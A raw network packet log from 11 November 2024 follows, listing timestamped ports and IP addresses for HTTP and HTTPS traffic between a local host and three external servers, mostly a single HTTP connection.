Nov 11, 2024 19:52:24.651535034 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.651566029 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.651619911 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.651693106 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.651705027 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.651715994 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.651729107 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.651741028 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.651742935 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.651751995 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.651755095 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.651803017 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.651875019 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.652360916 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.652379990 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.652514935 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.652537107 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.652791977 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.652803898 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.652805090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.652806044 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.652828932 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.652837038 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.652839899 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.652858019 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.652862072 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.652865887 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.652869940 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.652872086 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.652879000 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.652884960 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.652885914 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.652904034 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.652919054 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.652920961 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.652930021 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.652931929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.652940989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.652952909 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.652975082 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.652975082 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.652993917 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653007984 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653018951 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653027058 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.653032064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653043985 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.653053045 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.653069973 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.653153896 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653166056 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653177023 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653188944 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653203964 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653223038 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653238058 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653239012 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.653239012 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.653239012 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.653249979 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653265953 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653276920 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.653316021 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.653316021 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.653394938 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.654776096 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.654814005 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.654827118 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.654836893 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.654875040 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.654887915 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.654898882 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.654917955 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.654927015 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.654928923 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.654927015 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.654942036 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.654952049 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.654956102 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.654968023 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.654982090 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.654988050 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.655004978 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.655021906 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.655073881 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.655086040 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.655097008 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.655112982 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.655128956 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.655129910 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.655131102 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.655137062 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.655141115 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.655152082 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.655162096 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.655164003 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.655175924 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.655189037 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.655199051 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.655237913 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.655237913 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.655353069 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.655386925 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.655415058 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.655424118 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.655440092 CET	443	49849	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:24.655462027 CET	443	49849	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:24.655467033 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.655549049 CET	49849	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:24.655565023 CET	443	49849	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:24.658106089 CET	49849	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:24.658145905 CET	443	49849	20.96.153.111	192.168.2.5
Nov 11, 2024 19:52:24.658313036 CET	49849	443	192.168.2.5	20.96.153.111
Nov 11, 2024 19:52:24.658371925 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.658387899 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.658474922 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.658474922 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.658484936 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.658560991 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.658607960 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658620119 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658638000 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658649921 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658659935 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658679008 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658690929 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658694983 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.658694983 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.658701897 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658706903 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.658715010 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658726931 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658740044 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658749104 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.658749104 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.658752918 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658762932 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.658766031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658778906 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658791065 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658802032 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658802986 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.658802986 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.658813953 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.658818007 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.658932924 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.660531998 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.660540104 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.660564899 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.660600901 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.660614014 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.660640001 CET	443	49850	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.660643101 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.660706043 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660717964 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660728931 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660736084 CET	49850	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.660741091 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660752058 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.660753012 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660765886 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660778046 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660789967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660794020 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.660804987 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.660806894 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660825014 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660836935 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660846949 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.660846949 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.660854101 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660875082 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.660904884 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.660921097 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660933018 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660943985 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660953999 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.660954952 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660958052 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.660979986 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.660983086 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.660983086 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.660993099 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661005974 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661012888 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.661014080 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661019087 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661020041 CET	443	49851	23.57.90.111	192.168.2.5
Nov 11, 2024 19:52:24.661035061 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661046028 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661048889 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661066055 CET	49851	443	192.168.2.5	23.57.90.111
Nov 11, 2024 19:52:24.661067963 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661077023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661084890 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661098003 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661104918 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661114931 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661128044 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661134958 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661139965 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661154032 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661168098 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661186934 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661204100 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661216021 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661226988 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661236048 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661238909 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661256075 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661258936 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661271095 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661283016 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661294937 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661313057 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661313057 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661313057 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661313057 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661317110 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661336899 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661348104 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661359072 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661370993 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661374092 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661374092 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661382914 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661395073 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661406994 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661417961 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661428928 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661433935 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661433935 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661433935 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661459923 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661472082 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661479950 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661479950 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661483049 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661495924 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661506891 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661508083 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661520004 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661530018 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661530972 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661542892 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661549091 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661556005 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661573887 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661592007 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661603928 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661616087 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661627054 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661629915 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661629915 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661638975 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661653042 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661653996 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661653996 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661674023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661712885 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661712885 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661736965 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661748886 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661760092 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661772966 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661782980 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661796093 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661807060 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661818981 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661823034 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661823034 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661823034 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661823034 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661830902 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661843061 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661853075 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661853075 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661859989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661878109 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661890030 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661890030 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661902905 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661915064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661926031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.661962032 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661962032 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661962032 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.661999941 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662010908 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662022114 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662034035 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662041903 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662041903 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662046909 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662060022 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662071943 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662084103 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662092924 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662094116 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662094116 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662096024 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662110090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662121058 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662144899 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662157059 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662156105 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662168980 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662182093 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662188053 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662188053 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662194014 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662204981 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662216902 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662226915 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662226915 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662229061 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662281990 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662282944 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662306070 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662317991 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662324905 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662331104 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662338972 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662343025 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662355900 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662369967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662374020 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662381887 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662393093 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662394047 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662404060 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662415028 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662422895 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662425995 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662436962 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662437916 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662447929 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:24.662456989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662468910 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:24.662473917 CET	49755	80	192.168.2.5	185.215.113.206
